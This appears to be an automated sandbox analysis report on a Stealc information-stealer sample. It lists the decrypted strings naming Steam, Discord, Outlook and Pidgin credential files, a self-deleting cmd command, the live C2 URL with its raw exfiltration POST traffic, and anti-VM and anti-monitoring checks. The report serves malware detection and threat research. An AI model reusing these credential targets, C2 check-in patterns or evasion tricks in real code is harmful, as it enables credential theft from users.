                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: 00000002
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: 00000003
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: 00000004
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: \Outlook\accounts.txt
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: Pidgin
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: \.purple\
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: accounts.xml
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: dQw4w9WgXcQ
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: token:
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: Software\Valve\Steam
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: SteamPath
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: \config\
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: ssfn*
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: config.vdf
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: DialogConfig.vdf
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: DialogConfigOverlay*.vdf
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: libraryfolders.vdf
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: loginusers.vdf
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: \Steam\
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: sqlite3.dll
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: browsers
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: done
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: soft
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: \Discord\tokens.txt
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: /c timeout /t 5 & del /f /q "
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: " & del "C:\ProgramData\*.dll"" & exit
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: C:\Windows\system32\cmd.exe
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: https
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: Content-Type: multipart/form-data; boundary=----
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: POST
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: HTTP/1.1
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: Content-Disposition: form-data; name="
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: hwid
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: build
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: token
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: file_name
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: file
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: message
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: screenshot.jpg
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00609030 CryptBinaryToStringA,GetProcessHeap,RtlAllocateHeap,CryptBinaryToStringA,0_2_00609030
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_005FA210 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,0_2_005FA210
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_005FA2B0 CryptUnprotectData,LocalAlloc,LocalFree,0_2_005FA2B0
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_005F72A0 GetProcessHeap,RtlAllocateHeap,CryptUnprotectData,WideCharToMultiByte,LocalFree,0_2_005F72A0
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_005FC920 lstrlen,CryptStringToBinaryA,lstrcat,lstrcat,lstrcat,0_2_005FC920
                Source: file.exeStatic PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
                Source: Binary string: my_library.pdbU source: file.exe, 00000000.00000002.2184845455.000000000061C000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.2143190137.0000000004BCB000.00000004.00001000.00020000.00000000.sdmp
                Source: Binary string: my_library.pdb source: file.exe, file.exe, 00000000.00000002.2184845455.000000000061C000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.2143190137.0000000004BCB000.00000004.00001000.00020000.00000000.sdmp
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_006040F0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,0_2_006040F0
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_005FE530 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,0_2_005FE530
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_005F1710 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,0_2_005F1710
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_006047C0 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,0_2_006047C0
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_005FF7B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,0_2_005FF7B0
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00604B60 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,0_2_00604B60
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00603B00 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,0_2_00603B00
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_005FDB80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,0_2_005FDB80
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_005FBE40 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,0_2_005FBE40
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_005FEE20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,0_2_005FEE20
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_005FDF10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,0_2_005FDF10

                Networking

                barindex
                Suricata IDS alerts for network traffic
                Source: Network trafficSuricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:49710 -> 185.215.113.206:80
                C2 URLs / IPs found in malware configuration
                Source: Malware configuration extractorURLs: http://185.215.113.206/6c4adf523b719729.php
                Source: global trafficHTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
                Source: global trafficHTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GIIIECBGDHJJKFIDAKJDHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 49 49 49 45 43 42 47 44 48 4a 4a 4b 46 49 44 41 4b 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 45 30 41 44 32 45 34 43 36 37 42 31 39 35 33 34 34 38 30 31 39 0d 0a 2d 2d 2d 2d 2d 2d 47 49 49 49 45 43 42 47 44 48 4a 4a 4b 46 49 44 41 4b 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 47 49 49 49 45 43 42 47 44 48 4a 4a 4b 46 49 44 41 4b 4a 44 2d 2d 0d 0a Data Ascii: ------GIIIECBGDHJJKFIDAKJDContent-Disposition: form-data; name="hwid"8E0AD2E4C67B1953448019------GIIIECBGDHJJKFIDAKJDContent-Disposition: form-data; name="build"tale------GIIIECBGDHJJKFIDAKJD--
                Source: Joe Sandbox ViewIP Address: 185.215.113.206 185.215.113.206
                Source: Joe Sandbox ViewASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL
                Source: Network trafficSuricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 4.175.87.197:443 -> 192.168.2.6:49752
                Source: Network trafficSuricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 4.175.87.197:443 -> 192.168.2.6:49941
                Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.206
                Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.206
                Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.206
                Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.206
                Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.206
                Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.206
                Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.206
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_005F62D0 InternetOpenA,StrCmpCA,InternetConnectA,HttpOpenRequestA,InternetSetOptionA,HttpSendRequestA,HttpQueryInfoA,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,0_2_005F62D0
                Source: global trafficHTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
                Source: unknownHTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GIIIECBGDHJJKFIDAKJDHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 49 49 49 45 43 42 47 44 48 4a 4a 4b 46 49 44 41 4b 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 45 30 41 44 32 45 34 43 36 37 42 31 39 35 33 34 34 38 30 31 39 0d 0a 2d 2d 2d 2d 2d 2d 47 49 49 49 45 43 42 47 44 48 4a 4a 4b 46 49 44 41 4b 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 47 49 49 49 45 43 42 47 44 48 4a 4a 4b 46 49 44 41 4b 4a 44 2d 2d 0d 0a Data Ascii: ------GIIIECBGDHJJKFIDAKJDContent-Disposition: form-data; name="hwid"8E0AD2E4C67B1953448019------GIIIECBGDHJJKFIDAKJDContent-Disposition: form-data; name="build"tale------GIIIECBGDHJJKFIDAKJD--
                Source: file.exe, 00000000.00000002.2189856639.0000000000F2E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://185.215.113.206
                Source: file.exe, 00000000.00000002.2189856639.0000000000F89000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://185.215.113.206/
                Source: file.exe, 00000000.00000002.2189856639.0000000000F48000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2189856639.0000000000F75000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2189856639.0000000000F89000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://185.215.113.206/6c4adf523b719729.php
                Source: file.exe, 00000000.00000002.2189856639.0000000000F89000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://185.215.113.206/6c4adf523b719729.php%
                Source: file.exe, 00000000.00000002.2189856639.0000000000F89000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpM
                Source: file.exe, 00000000.00000002.2189856639.0000000000F89000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpU
                Source: file.exe, 00000000.00000002.2189856639.0000000000F89000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpd
                Source: file.exe, 00000000.00000002.2189856639.0000000000F89000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpe
                Source: file.exe, 00000000.00000002.2189856639.0000000000F89000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpy
                Source: file.exe, 00000000.00000002.2189856639.0000000000F89000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpz
                Source: file.exe, file.exe, 00000000.00000002.2184845455.000000000061C000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.2143190137.0000000004BCB000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://docs.rs/getrandom#nodejs-es-module-support

                System Summary

                barindex
                PE file contains section with special chars
                Source: file.exeStatic PE information: section name:
                Source: file.exeStatic PE information: section name: .rsrc
                Source: file.exeStatic PE information: section name: .idata
                Source: file.exeStatic PE information: section name:
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00A400880_2_00A40088
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00A4F0D30_2_00A4F0D3
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_006300980_2_00630098
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_006221380_2_00622138
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_0064B1980_2_0064B198
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_0065E2580_2_0065E258
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_006342880_2_00634288
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_0067B3080_2_0067B308
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_0066D39E0_2_0066D39E
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00A3935D0_2_00A3935D
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00A3E4970_2_00A3E497
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_009414CB0_2_009414CB
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_006145730_2_00614573
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_0061E5440_2_0061E544
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_006345A80_2_006345A8
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_0065D5A80_2_0065D5A8
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00A435470_2_00A43547
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_0066A6480_2_0066A648
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_006796FD0_2_006796FD
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_006366C80_2_006366C8
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_0064D7200_2_0064D720
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_006667990_2_00666799
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_006448680_2_00644868
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_0065F8D60_2_0065F8D6
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_0064B8A80_2_0064B8A8
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_006498B80_2_006498B8
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_009BC9F10_2_009BC9F1
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00A46AAF0_2_00A46AAF
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00A41A4C0_2_00A41A4C
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00658BD90_2_00658BD9
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00664BA80_2_00664BA8
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00939B4C0_2_00939B4C
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00660B880_2_00660B88
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00B2FCA50_2_00B2FCA5
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_0066AC280_2_0066AC28
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_0064BD680_2_0064BD68
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00A4BDA90_2_00A4BDA9
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00621D780_2_00621D78
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_009EBDAD0_2_009EBDAD
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_0065AD380_2_0065AD38
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00644DC80_2_00644DC8
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00645DB90_2_00645DB9
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00638E780_2_00638E78
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00661EE80_2_00661EE8
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00A1BF740_2_00A1BF74
                Source: C:\Users\user\Desktop\file.exeCode function: String function: 005F4610 appears 316 times
                Source: file.exeStatic PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
                Source: file.exeStatic PE information: Section: eqnrkxus ZLIB complexity 0.9945791657248343
                Source: file.exeStatic PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
                Source: classification engineClassification label: mal100.troj.evad.winEXE@1/0@0/1
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00609790 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,0_2_00609790
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00603970 CoCreateInstance,MultiByteToWideChar,lstrcpyn,0_2_00603970
                Source: C:\Users\user\Desktop\file.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\OXLMX094.htmJump to behavior
                Source: C:\Users\user\Desktop\file.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
                Source: file.exeString found in binary or memory: 3Cannot find '%s'. Please, re-install this application
                Source: C:\Users\user\Desktop\file.exeSection loaded: apphelp.dllJump to behavior
                Source: C:\Users\user\Desktop\file.exeSection loaded: winmm.dllJump to behavior
                Source: C:\Users\user\Desktop\file.exeSection loaded: sspicli.dllJump to behavior
                Source: C:\Users\user\Desktop\file.exeSection loaded: wininet.dllJump to behavior
                Source: C:\Users\user\Desktop\file.exeSection loaded: rstrtmgr.dllJump to behavior
                Source: C:\Users\user\Desktop\file.exeSection loaded: ncrypt.dllJump to behavior
                Source: C:\Users\user\Desktop\file.exeSection loaded: ntasn1.dllJump to behavior
                Source: C:\Users\user\Desktop\file.exeSection loaded: iertutil.dllJump to behavior
                Source: C:\Users\user\Desktop\file.exeSection loaded: windows.storage.dllJump to behavior
                Source: C:\Users\user\Desktop\file.exeSection loaded: wldp.dllJump to behavior
                Source: C:\Users\user\Desktop\file.exeSection loaded: profapi.dllJump to behavior
                Source: C:\Users\user\Desktop\file.exeSection loaded: kernel.appcore.dllJump to behavior
                Source: C:\Users\user\Desktop\file.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
                Source: C:\Users\user\Desktop\file.exeSection loaded: winhttp.dllJump to behavior
                Source: C:\Users\user\Desktop\file.exeSection loaded: mswsock.dllJump to behavior
                Source: C:\Users\user\Desktop\file.exeSection loaded: iphlpapi.dllJump to behavior
                Source: C:\Users\user\Desktop\file.exeSection loaded: winnsi.dllJump to behavior
                Source: C:\Users\user\Desktop\file.exeSection loaded: urlmon.dllJump to behavior
                Source: C:\Users\user\Desktop\file.exeSection loaded: srvcli.dllJump to behavior
                Source: C:\Users\user\Desktop\file.exeSection loaded: netutils.dllJump to behavior
                Source: C:\Users\user\Desktop\file.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32Jump to behavior
                Source: file.exeStatic file information: File size 2137088 > 1048576
                Source: file.exeStatic PE information: Raw size of eqnrkxus is bigger than: 0x100000 < 0x19ec00
                Source: Binary string: my_library.pdbU source: file.exe, 00000000.00000002.2184845455.000000000061C000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.2143190137.0000000004BCB000.00000004.00001000.00020000.00000000.sdmp
                Source: Binary string: my_library.pdb source: file.exe, file.exe, 00000000.00000002.2184845455.000000000061C000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.2143190137.0000000004BCB000.00000004.00001000.00020000.00000000.sdmp

                Data Obfuscation

                barindex
                Detected unpacking (changes PE section rights)
                Source: C:\Users\user\Desktop\file.exeUnpacked PE file: 0.2.file.exe.5f0000.0.unpack :EW;.rsrc :W;.idata :W; :EW;eqnrkxus:EW;upizgxhc:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;eqnrkxus:EW;upizgxhc:EW;.taggant:EW;
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00609BB0 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,0_2_00609BB0
                Source: initial sampleStatic PE information: section where entry point is pointing to: .taggant
                Source: file.exeStatic PE information: real checksum: 0x21808e should be: 0x211e5a
                Source: file.exeStatic PE information: section name:
                Source: file.exeStatic PE information: section name: .rsrc
                Source: file.exeStatic PE information: section name: .idata
                Source: file.exeStatic PE information: section name:
                Source: file.exeStatic PE information: section name: eqnrkxus
                Source: file.exeStatic PE information: section name: upizgxhc
                Source: file.exeStatic PE information: section name: .taggant
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_009970BA push edx; mov dword ptr [esp], ebp0_2_00997122
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_009970BA push 6329159Ah; mov dword ptr [esp], ebx0_2_0099713B
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_009970BA push esi; mov dword ptr [esp], eax0_2_00997142
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_009970BA push esi; mov dword ptr [esp], edx0_2_009971D2
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00A40088 push 7F273DDBh; mov dword ptr [esp], ecx0_2_00A4012F
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00A40088 push 75537EC5h; mov dword ptr [esp], ebp0_2_00A4019C
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00A40088 push 3E738F5Bh; mov dword ptr [esp], esi0_2_00A401E3
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00A40088 push edi; mov dword ptr [esp], 45FDA420h0_2_00A401FD
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00A40088 push edi; mov dword ptr [esp], 2714FD54h0_2_00A40209
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00A40088 push eax; mov dword ptr [esp], ebx0_2_00A4027C
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00A40088 push ebx; mov dword ptr [esp], eax0_2_00A40290
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00A40088 push ecx; mov dword ptr [esp], edi0_2_00A402A7
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00A40088 push 4D2DFE8Dh; mov dword ptr [esp], ebx0_2_00A402C3
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00A40088 push ebp; mov dword ptr [esp], ecx0_2_00A402E8
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00A40088 push ecx; mov dword ptr [esp], 7F6B4E58h0_2_00A4030A
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00A40088 push ebx; mov dword ptr [esp], 6E249511h0_2_00A4039F
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00A40088 push eax; mov dword ptr [esp], ecx0_2_00A404FE
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00A40088 push eax; mov dword ptr [esp], esi0_2_00A40567
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00A40088 push edx; mov dword ptr [esp], ebx0_2_00A405D2
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00A40088 push ecx; mov dword ptr [esp], 498E1DA8h0_2_00A405F5
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00A40088 push 0512863Bh; mov dword ptr [esp], eax0_2_00A4069E
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00A40088 push eax; mov dword ptr [esp], 116D7AC1h0_2_00A40751
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00A40088 push esi; mov dword ptr [esp], ecx0_2_00A40778
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00A40088 push ebx; mov dword ptr [esp], edx0_2_00A407D5
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00A40088 push esi; mov dword ptr [esp], edx0_2_00A407EE
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00A40088 push 4BCE3352h; mov dword ptr [esp], edx0_2_00A408D4
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00A40088 push 16A01DBAh; mov dword ptr [esp], ecx0_2_00A40937
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00A40088 push 11200062h; mov dword ptr [esp], ecx0_2_00A40A15
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00A40088 push 38354E00h; mov dword ptr [esp], edi0_2_00A40A4E
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00A40088 push 57682635h; mov dword ptr [esp], ecx0_2_00A40ABA
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00A40088 push 770B4455h; mov dword ptr [esp], edx0_2_00A40AD1
                Source: file.exeStatic PE information: section name: eqnrkxus entropy: 7.953335707487061

                Boot Survival

                barindex
                Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)
                Source: C:\Users\user\Desktop\file.exeWindow searched: window name: FilemonClassJump to behavior
                Source: C:\Users\user\Desktop\file.exeWindow searched: window name: PROCMON_WINDOW_CLASSJump to behavior
                Source: C:\Users\user\Desktop\file.exeWindow searched: window name: RegmonClassJump to behavior
                Source: C:\Users\user\Desktop\file.exeWindow searched: window name: FilemonClassJump to behavior
                Source: C:\Users\user\Desktop\file.exeWindow searched: window name: PROCMON_WINDOW_CLASSJump to behavior
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00609BB0 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,0_2_00609BB0

                Malware Analysis System Evasion

                barindex
                Found evasive API chain (may stop execution after checking locale)
                Source: C:\Users\user\Desktop\file.exeEvasive API call chain: GetUserDefaultLangID, ExitProcessgraph_0-37879
                Tries to detect sandboxes / dynamic malware analysis system (registry check)
                Source: C:\Users\user\Desktop\file.exeFile opened: HKEY_CURRENT_USER\Software\WineJump to behavior
                Source: C:\Users\user\Desktop\file.exeFile opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__Jump to behavior
                Tries to detect virtualization through RDTSC time measurements
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 8DE0F5 second address: 8DE0FE instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
